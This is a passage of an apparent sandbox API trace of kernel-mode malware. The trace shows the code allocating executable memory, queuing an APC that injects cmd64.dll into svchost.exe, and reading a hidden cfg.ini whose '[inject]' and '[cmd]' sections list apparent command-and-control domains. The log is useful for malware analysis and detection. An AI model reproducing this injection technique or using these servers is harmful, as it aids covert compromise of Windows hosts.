VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.559] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.559] IdePortDispatch () returned 0x103 [0081.559] KeWaitForMutexObject () returned 0x0 [0081.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.559] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.559] IdePortDispatch () returned 0x103 [0081.560] KeWaitForMutexObject () returned 0x0 [0081.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.560] KeLeaveCriticalRegion () [0081.560] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.560] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff8000040c, BaseAddress=0xfffff88002f9dae0, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae0*=0x10000, RegionSize=0xfffff88002f9d9f0*=0x14000) returned 0x0 [0081.560] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0081.560] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f9dad8 | out: Size=0xfffff88002f9dad8) returned 0x0 [0081.560] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff8000040c, BaseAddress=0xfffff88002f9dae8, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae8*=0x50000, RegionSize=0xfffff88002f9d9f8*=0x1000) returned 0x0 [0081.560] _snprintf (in: _Dest=0x50020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0081.560] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa800368e2e0 [0081.560] KeInitializeApc (Apc=0xfffffa800368e2e0, Thread=0xfffffa8003690b60, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x50128, Mode=0xfffff88000000001, Context=0x50000) [0081.560] KeInsertQueueApc (Apc=0xfffffa800368e2e0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0081.560] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0081.560] ZwClose (Handle=0x14) returned 0x0 [0081.560] ZwClose (Handle=0xffffffff80000404) returned 0x0 [0081.560] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0081.561] KeEnterCriticalRegion () [0081.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.561] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80018ab040 [0081.561] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa8003690780, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0081.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.561] KeLeaveCriticalRegion () [0081.561] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.561] KeUnstackDetachProcess (ApcState=0xfffff88002f9da58) [0081.561] PsGetProcessImageFileName () returned 0xfffffa80034fcd40 [0081.561] _snprintf (in: _Dest=0xfffffa80034fc8e8, _Count=0x103, _Format="%s (x64)" | out: _Dest="svchost.exe (x64)") returned 17 [0081.561] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0081.561] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff80000404, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0081.561] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.561] KeEnterCriticalRegion () [0081.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.561] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.561] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.561] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.561] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0081.561] IdePortDispatch () returned 0x103 [0081.561] KeWaitForMutexObject () returned 0x0 [0081.561] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.561] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0081.561] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0081.561] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0081.561] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80034fb310 [0081.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.561] KeLeaveCriticalRegion () [0081.561] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.561] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0081.561] NtLockFile (in: FileHandle=0xffffffff80000404, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0081.561] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.561] KeEnterCriticalRegion () [0081.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.561] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.561] KeLeaveCriticalRegion () [0081.562] ZwQueryInformationFile (in: FileHandle=0xffffffff80000404, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0081.562] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.562] KeEnterCriticalRegion () [0081.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.562] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0081.562] IdePortDispatch () returned 0x103 [0081.562] KeWaitForMutexObject () returned 0x0 [0081.562] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.562] KeLeaveCriticalRegion () [0081.562] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.562] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a00649d670 [0081.562] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0081.562] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0081.562] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="svchost.exe (x64)=") returned 18 [0081.562] _strlwr (in: _Str="svchost.exe (x64)=" | out: _Str="svchost.exe (x64)=") returned="svchost.exe (x64)=" [0081.562] ZwReadFile (in: FileHandle=0xffffffff80000404, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a00649d670, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a00649d670*) returned 0x0 [0081.562] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.562] KeEnterCriticalRegion () [0081.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.562] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ab670 [0081.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.562] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0081.562] IdePortDispatch () returned 0x103 [0081.562] KeWaitForMutexObject () returned 0x0 [0081.562] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.563] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0081.563] IdePortDispatch () returned 0x103 [0081.563] KeWaitForMutexObject () returned 0x0 [0081.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.563] KeLeaveCriticalRegion () [0081.563] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.563] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0081.563] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="svchost.exe (x64)=") returned 0x0 [0081.563] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0081.563] ExFreePoolWithTag (P=0xfffff8a00649d670, Tag=0x0) [0081.563] ZwClose (Handle=0xffffffff80000404) returned 0x0 [0081.563] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.563] KeEnterCriticalRegion () [0081.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.563] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80018ab040 [0081.563] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80034f2b90, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0081.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.563] KeLeaveCriticalRegion () [0081.563] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.563] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.563] KeEnterCriticalRegion () [0081.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.563] ExFreePoolWithTag (P=0xfffffa80034fb310, Tag=0x0) [0081.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.563] KeLeaveCriticalRegion () [0081.563] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.563] ZwClose (Handle=0xffffffff8000040c) returned 0x0 [0081.563] KeSetEvent (in: Event=0xfffffa80034fc5c0, Increment=0x0, Wait=0 | out: Event=0xfffffa80034fc5c0) returned 0 [0081.986] ZwOpenProcess (in: ProcessHandle=0xfffff88002f9db70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f9db30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f9db20*(UniqueProcess=0x3c4, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f9db70*=0xffffffff80000410) returned 0x0 [0081.986] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0081.987] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff80000418, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0081.987] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.987] KeEnterCriticalRegion () [0081.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.987] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.987] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.987] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.987] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0081.987] IdePortDispatch () returned 0x103 [0081.987] KeWaitForMutexObject () returned 0x0 [0081.987] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.987] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0081.987] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0081.987] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0081.987] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036b37b0 [0081.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.987] KeLeaveCriticalRegion () [0081.987] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.987] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0081.987] NtLockFile (in: FileHandle=0xffffffff80000418, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0081.987] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.987] KeEnterCriticalRegion () [0081.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.987] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.987] KeLeaveCriticalRegion () [0081.987] ZwQueryInformationFile (in: FileHandle=0xffffffff80000418, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0081.987] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.988] KeEnterCriticalRegion () [0081.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.988] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.988] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.988] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.988] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0081.988] IdePortDispatch () returned 0x103 [0081.988] KeWaitForMutexObject () returned 0x0 [0081.988] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.988] KeLeaveCriticalRegion () [0081.988] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.988] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a000bffcf0 [0081.988] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0081.988] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0081.988] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0081.988] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0081.988] ZwReadFile (in: FileHandle=0xffffffff80000418, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000bffcf0, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000bffcf0*) returned 0x0 [0081.988] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.988] KeEnterCriticalRegion () [0081.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.988] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d94cf0 [0081.988] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.988] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.988] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.988] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0081.988] IdePortDispatch () returned 0x103 [0081.988] KeWaitForMutexObject () returned 0x0 [0081.988] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.989] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.989] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.989] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.989] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0081.989] IdePortDispatch () returned 0x103 [0081.989] KeWaitForMutexObject () returned 0x0 [0081.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.989] KeLeaveCriticalRegion () [0081.989] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.989] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0081.989] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0081.989] strncpy (in: _Dest=0xfffffa80036b3ba4, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0081.989] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0081.989] ExFreePoolWithTag (P=0xfffff8a000bffcf0, Tag=0x0) [0081.989] ZwClose (Handle=0xffffffff80000418) returned 0x0 [0081.989] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.989] KeEnterCriticalRegion () [0081.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.989] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80018ab040 [0081.989] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80036b3850, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0081.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.989] KeLeaveCriticalRegion () [0081.989] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.989] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.989] KeEnterCriticalRegion () [0081.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.989] ExFreePoolWithTag (P=0xfffffa80036b37b0, Tag=0x0) [0081.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.989] KeLeaveCriticalRegion () [0081.989] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.989] KeStackAttachProcess (in: PROCESS=0xfffffa80036afb30, ApcState=0xfffff88002f9da58 | out: 